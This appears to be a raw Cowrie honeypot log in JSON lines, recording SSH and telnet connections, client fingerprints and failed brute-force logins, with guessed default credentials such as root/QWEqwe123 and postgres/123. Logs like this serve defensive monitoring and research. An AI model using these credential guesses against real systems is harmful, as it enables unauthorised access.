{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":59754,"dst_ip":"10.17.0.5","dst_port":22,"session":"602c75e71ae1","protocol":"ssh","message":"New connection: 177.54.62.66:59754 (10.17.0.5:22) [session: 602c75e71ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.897967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.903372Z","src_ip":"177.54.62.66","session":"602c75e71ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:32.950425Z","src_ip":"192.109.200.78","session":"b38d1599e07e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.035601Z","src_ip":"177.54.62.66","session":"602c75e71ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.46.240.193","src_port":52464,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5ab8eaf74dd","protocol":"telnet","message":"New connection: 84.46.240.193:52464 (10.17.0.5:23) [session: b5ab8eaf74dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.267986Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.76.99.238","src_port":40002,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f9a6277bc26","protocol":"telnet","message":"New connection: 144.76.99.238:40002 (10.17.0.5:23) [session: 7f9a6277bc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.367733Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.216.11.193","src_port":55684,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc64c1c69621","protocol":"telnet","message":"New connection: 20.216.11.193:55684 (10.17.0.5:23) [session: dc64c1c69621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.537082Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"username123","message":"login attempt [username/username123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.596812Z","src_ip":"177.54.62.66","session":"602c75e71ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.76.76.74","src_port":7371,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c7a1b61086","protocol":"telnet","message":"New connection: 103.76.76.74:7371 (10.17.0.5:23) [session: 24c7a1b61086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:33.939202Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.037545Z","src_ip":"192.109.200.78","session":"b38d1599e07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.90.128.86","src_port":35856,"dst_ip":"10.17.0.5","dst_port":23,"session":"43f8704953da","protocol":"telnet","message":"New connection: 164.90.128.86:35856 (10.17.0.5:23) [session: 43f8704953da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.084985Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.106.195","src_port":54088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e7fbcb1e97e","protocol":"telnet","message":"New connection: 162.214.106.195:54088 (10.17.0.5:23) [session: 5e7fbcb1e97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.271651Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.117.233.246","src_port":46068,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd369e77bb8","protocol":"telnet","message":"New connection: 52.117.233.246:46068 (10.17.0.5:23) [session: 7fd369e77bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.327531Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.228.116.7","src_port":45766,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0a8c10ccce7","protocol":"telnet","message":"New connection: 185.228.116.7:45766 (10.17.0.5:23) [session: d0a8c10ccce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.638923Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.93.52.10","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dc8d581e449","protocol":"telnet","message":"New connection: 180.93.52.10:38246 (10.17.0.5:23) [session: 2dc8d581e449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.725625Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.733600Z","src_ip":"177.54.62.66","session":"602c75e71ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.144.66","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"14305a0e4388","protocol":"telnet","message":"New connection: 103.77.144.66:58860 (10.17.0.5:23) [session: 14305a0e4388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:34.737922Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.28.49.205","src_port":35274,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3cd07c0dfb","protocol":"telnet","message":"New connection: 103.28.49.205:35274 (10.17.0.5:23) [session: ec3cd07c0dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:35.739795Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59928,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1d084bfcb7","protocol":"ssh","message":"New connection: 192.109.200.78:59928 (159.203.135.109:22) [session: 9f1d084bfcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:35.807947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:35.815101Z","src_ip":"192.109.200.78","session":"9f1d084bfcb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:35.899907Z","src_ip":"192.109.200.78","session":"9f1d084bfcb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:36.148877Z","src_ip":"192.109.200.78","session":"9f1d084bfcb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.9.27.99","src_port":45488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e68cbab390b1","protocol":"telnet","message":"New connection: 85.9.27.99:45488 (10.17.0.5:23) [session: e68cbab390b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:36.614401Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.93.94.183","src_port":41136,"dst_ip":"10.17.0.5","dst_port":23,"session":"28dcf61b7ffa","protocol":"telnet","message":"New connection: 103.93.94.183:41136 (10.17.0.5:23) [session: 28dcf61b7ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:36.636864Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.244.125","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc59ceffdf54","protocol":"telnet","message":"New connection: 157.7.244.125:45292 (10.17.0.5:23) [session: fc59ceffdf54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:36.643945Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:37.238562Z","src_ip":"192.109.200.78","session":"9f1d084bfcb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.177.85.156","src_port":42432,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f56276fea7e","protocol":"telnet","message":"New connection: 186.177.85.156:42432 (10.17.0.5:23) [session: 5f56276fea7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:37.494231Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.89.7.103","src_port":41718,"dst_ip":"10.17.0.5","dst_port":23,"session":"91dfddc27416","protocol":"telnet","message":"New connection: 154.89.7.103:41718 (10.17.0.5:23) [session: 91dfddc27416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:37.632814Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.246.94.149","src_port":42324,"dst_ip":"10.17.0.5","dst_port":23,"session":"9006b71ba42d","protocol":"telnet","message":"New connection: 20.246.94.149:42324 (10.17.0.5:23) [session: 9006b71ba42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.139428Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.77.155","src_port":58508,"dst_ip":"10.17.0.5","dst_port":23,"session":"5696c55f4a2d","protocol":"telnet","message":"New connection: 27.254.77.155:58508 (10.17.0.5:23) [session: 5696c55f4a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.224457Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.111.206","src_port":51196,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f25dad0c473","protocol":"telnet","message":"New connection: 143.198.111.206:51196 (10.17.0.5:23) [session: 9f25dad0c473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.338408Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38028,"dst_ip":"159.203.135.109","dst_port":22,"session":"258c6908f646","protocol":"ssh","message":"New connection: 192.109.200.78:38028 (159.203.135.109:22) [session: 258c6908f646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.899417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.903604Z","src_ip":"192.109.200.78","session":"258c6908f646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:39.985605Z","src_ip":"192.109.200.78","session":"258c6908f646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:40.235098Z","src_ip":"192.109.200.78","session":"258c6908f646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.239.218.12","src_port":54314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5bfa2b3d586","protocol":"telnet","message":"New connection: 45.239.218.12:54314 (10.17.0.5:23) [session: c5bfa2b3d586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:40.367587Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:41.320131Z","src_ip":"192.109.200.78","session":"258c6908f646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177145004272,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:42.389252Z","src_ip":"119.94.70.246","session":"8e33b0b68d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.18.58.55","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b774dc7dc8","protocol":"telnet","message":"New connection: 103.18.58.55:37604 (10.17.0.5:23) [session: 38b774dc7dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:43.702417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38044,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a420886b5ef","protocol":"ssh","message":"New connection: 192.109.200.78:38044 (159.203.135.109:22) [session: 7a420886b5ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:43.913751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:43.919139Z","src_ip":"192.109.200.78","session":"7a420886b5ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:44.004484Z","src_ip":"192.109.200.78","session":"7a420886b5ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:44.253586Z","src_ip":"192.109.200.78","session":"7a420886b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":53570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f14225c7fb95","protocol":"telnet","message":"New connection: 119.94.70.246:53570 (159.203.135.109:23) [session: f14225c7fb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:44.894144Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:45.346219Z","src_ip":"192.109.200.78","session":"7a420886b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.136.96","src_port":36744,"dst_ip":"10.17.0.5","dst_port":23,"session":"df34b976db1e","protocol":"telnet","message":"New connection: 139.84.136.96:36744 (10.17.0.5:23) [session: df34b976db1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:47.661824Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38066,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e25e37c374","protocol":"ssh","message":"New connection: 192.109.200.78:38066 (159.203.135.109:22) [session: 15e25e37c374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:47.936671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:47.942086Z","src_ip":"192.109.200.78","session":"15e25e37c374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:48.026303Z","src_ip":"192.109.200.78","session":"15e25e37c374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.507807970046997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:48.141650Z","src_ip":"103.236.162.233","session":"1c2090650540","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:48.282279Z","src_ip":"192.109.200.78","session":"15e25e37c374","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:49.499787Z","src_ip":"192.109.200.78","session":"15e25e37c374","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.148.107.194","src_port":48196,"dst_ip":"10.17.0.5","dst_port":23,"session":"10118f37fcc7","protocol":"telnet","message":"New connection: 201.148.107.194:48196 (10.17.0.5:23) [session: 10118f37fcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:50.906759Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.236.162.233","src_port":40160,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78aa90bb5f1","protocol":"telnet","message":"New connection: 103.236.162.233:40160 (10.17.0.5:23) [session: f78aa90bb5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:51.654565Z"}
{"eventid":"cowrie.session.closed","duration":30.805827140808105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.005212Z","src_ip":"72.13.82.74","session":"da689d8f580d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41086,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb516ffa488e","protocol":"ssh","message":"New connection: 192.109.200.78:41086 (159.203.135.109:22) [session: fb516ffa488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:33:52.151685Z"}
